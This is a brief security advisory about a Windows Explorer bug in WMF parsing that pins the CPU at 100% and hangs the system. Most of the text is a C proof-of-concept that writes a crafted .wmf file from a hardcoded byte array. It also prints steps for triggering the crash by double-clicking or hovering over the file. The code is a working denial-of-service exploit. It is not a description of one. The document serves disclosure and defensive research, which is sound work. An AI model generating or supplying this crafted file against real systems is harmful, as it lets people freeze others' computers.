Explorer.exe WMF Parsing DoSSummary
A crafted .WMF file cause the Explorer.exe process to use 100% of CPU and can cause the system to hang until the process is killed.
Credit:
The information has been provided by Nick H.
The original report for this a advisory can be found at: http://www.securiteam.com/windowsntfocus/5CP081FFFY.html
Details
Exploit:
/*
* Created by: RiP
* This is a proof of concept for the WMF parsing bug (this has not yet been patched by Microsoft)
* Credits go to liquid (liquid@cyberspace.org)
* Tested on: Windows XP SP1 and Windows 2000 SP4
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char hexcode[]=
"\xD7\xCD\xC6\x9A\x00\x00\x00\x00\x00\x00\xA1\x21\xEC\x29\xEC\x09"
"\x00\x00\x00\x00\xB0\x56\x01\x00\x09\x00\x00\x03\x0E\x00\x00\x00"
"\x01\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x02\x00\x00"
"\x00\x00";
int main(int argc,char *argv[]) {
FILE *wmffile;
if (argc < 2) {
printf("Syntax: %s <filename.wmf>\n", argv[0]);
exit(1);
}
if (!(wmffile = fopen(argv[1],"wb"))) {
printf("Error opening %s\n", argv[1]);
} else {
fwrite(hexcode,1,sizeof(hexcode),wmffile);
fclose(wmffile);
printf("Specially crafted .wmf file\n");
printf("Double click or move the mouse over the file in windows explorer\n");
printf("Then press CTRL+SHIFT+ESC (notice the 100%) and terminate Explorer.EXE\n");
}
return 0;
}